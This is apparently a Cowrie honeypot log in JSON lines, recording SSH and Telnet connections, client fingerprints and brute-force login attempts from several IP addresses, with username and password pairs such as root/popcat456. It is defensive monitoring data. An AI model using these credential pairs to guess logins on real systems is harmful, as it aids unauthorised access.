{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:25.117857Z","src_ip":"14.55.144.22","session":"b666f394e546","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:25.983557Z","src_ip":"14.55.144.22","session":"b666f394e546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:26.192016Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:26.195705Z","src_ip":"14.55.144.22","session":"b666f394e546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42038,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ae65015d8d","protocol":"telnet","message":"New connection: 137.184.5.188:42038 (159.203.135.109:23) [session: 49ae65015d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:03.372211Z"}
{"eventid":"cowrie.session.closed","duration":33.213939905166626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:36.586014Z","src_ip":"137.184.5.188","session":"49ae65015d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":39188,"dst_ip":"10.17.0.5","dst_port":22,"session":"5415e9b0f380","protocol":"ssh","message":"New connection: 162.241.239.202:39188 (10.17.0.5:22) [session: 5415e9b0f380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:40.850208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:40.854064Z","src_ip":"162.241.239.202","session":"5415e9b0f380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:40.882904Z","src_ip":"162.241.239.202","session":"5415e9b0f380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"popcat456","message":"login attempt [root/popcat456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:41.005066Z","src_ip":"162.241.239.202","session":"5415e9b0f380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:42.036593Z","src_ip":"162.241.239.202","session":"5415e9b0f380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":40650,"dst_ip":"159.203.135.109","dst_port":22,"session":"ada4c2e5f162","protocol":"ssh","message":"New connection: 166.62.89.133:40650 (159.203.135.109:22) [session: ada4c2e5f162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:45.835757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:45.839247Z","src_ip":"166.62.89.133","session":"ada4c2e5f162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:45.929770Z","src_ip":"166.62.89.133","session":"ada4c2e5f162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satoshi456","message":"login attempt [root/satoshi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:46.123075Z","src_ip":"166.62.89.133","session":"ada4c2e5f162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:47.189811Z","src_ip":"166.62.89.133","session":"ada4c2e5f162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":40704,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a3b02cbffa9","protocol":"ssh","message":"New connection: 103.82.36.79:40704 (10.17.0.5:22) [session: 0a3b02cbffa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:48.203001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:48.206715Z","src_ip":"103.82.36.79","session":"0a3b02cbffa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:48.461706Z","src_ip":"103.82.36.79","session":"0a3b02cbffa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daxada","message":"login attempt [root/daxada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:50.143779Z","src_ip":"103.82.36.79","session":"0a3b02cbffa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:27:51.514136Z","src_ip":"103.82.36.79","session":"0a3b02cbffa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c7aa0d7df3d","protocol":"ssh","message":"New connection: 103.122.221.179:33096 (10.17.0.5:22) [session: 0c7aa0d7df3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:05.740969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:05.743796Z","src_ip":"103.122.221.179","session":"0c7aa0d7df3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:05.998995Z","src_ip":"103.122.221.179","session":"0c7aa0d7df3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02061994","message":"login attempt [root/02061994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:06.767323Z","src_ip":"103.122.221.179","session":"0c7aa0d7df3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:08.024817Z","src_ip":"103.122.221.179","session":"0c7aa0d7df3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":54878,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bcc9cab6ac6","protocol":"ssh","message":"New connection: 50.6.173.74:54878 (159.203.135.109:22) [session: 0bcc9cab6ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:22.407020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:22.409948Z","src_ip":"50.6.173.74","session":"0bcc9cab6ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:22.435419Z","src_ip":"50.6.173.74","session":"0bcc9cab6ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blast","password":"blast321","message":"login attempt [blast/blast321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:22.512925Z","src_ip":"50.6.173.74","session":"0bcc9cab6ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:23.540350Z","src_ip":"50.6.173.74","session":"0bcc9cab6ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58218,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7eaef10122b","protocol":"telnet","message":"New connection: 137.184.5.188:58218 (159.203.135.109:23) [session: f7eaef10122b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:25.568519Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":38316,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2501a9c163d","protocol":"ssh","message":"New connection: 162.144.105.39:38316 (10.17.0.5:22) [session: f2501a9c163d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:26.249103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:26.252279Z","src_ip":"162.144.105.39","session":"f2501a9c163d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:26.357716Z","src_ip":"162.144.105.39","session":"f2501a9c163d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skale2024","message":"login attempt [root/skale2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:26.676405Z","src_ip":"162.144.105.39","session":"f2501a9c163d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":33742,"dst_ip":"10.17.0.5","dst_port":22,"session":"28192ebbac27","protocol":"ssh","message":"New connection: 194.36.147.215:33742 (10.17.0.5:22) [session: 28192ebbac27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:38.222581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:38.228980Z","src_ip":"194.36.147.215","session":"28192ebbac27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:38.317747Z","src_ip":"194.36.147.215","session":"28192ebbac27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hal","password":"hal456","message":"login attempt [hal/hal456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:38.586912Z","src_ip":"194.36.147.215","session":"28192ebbac27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:39.679587Z","src_ip":"194.36.147.215","session":"28192ebbac27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":32982,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc6a10842de","protocol":"telnet","message":"New connection: 137.184.5.188:32982 (159.203.135.109:23) [session: 4bc6a10842de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:46.400723Z"}
{"eventid":"cowrie.session.closed","duration":33.5315215587616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:28:59.099921Z","src_ip":"137.184.5.188","session":"f7eaef10122b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":34803,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ab09cdccdb","protocol":"ssh","message":"New connection: 14.55.144.22:34803 (10.17.0.5:22) [session: 75ab09cdccdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:29:07.242481Z"}
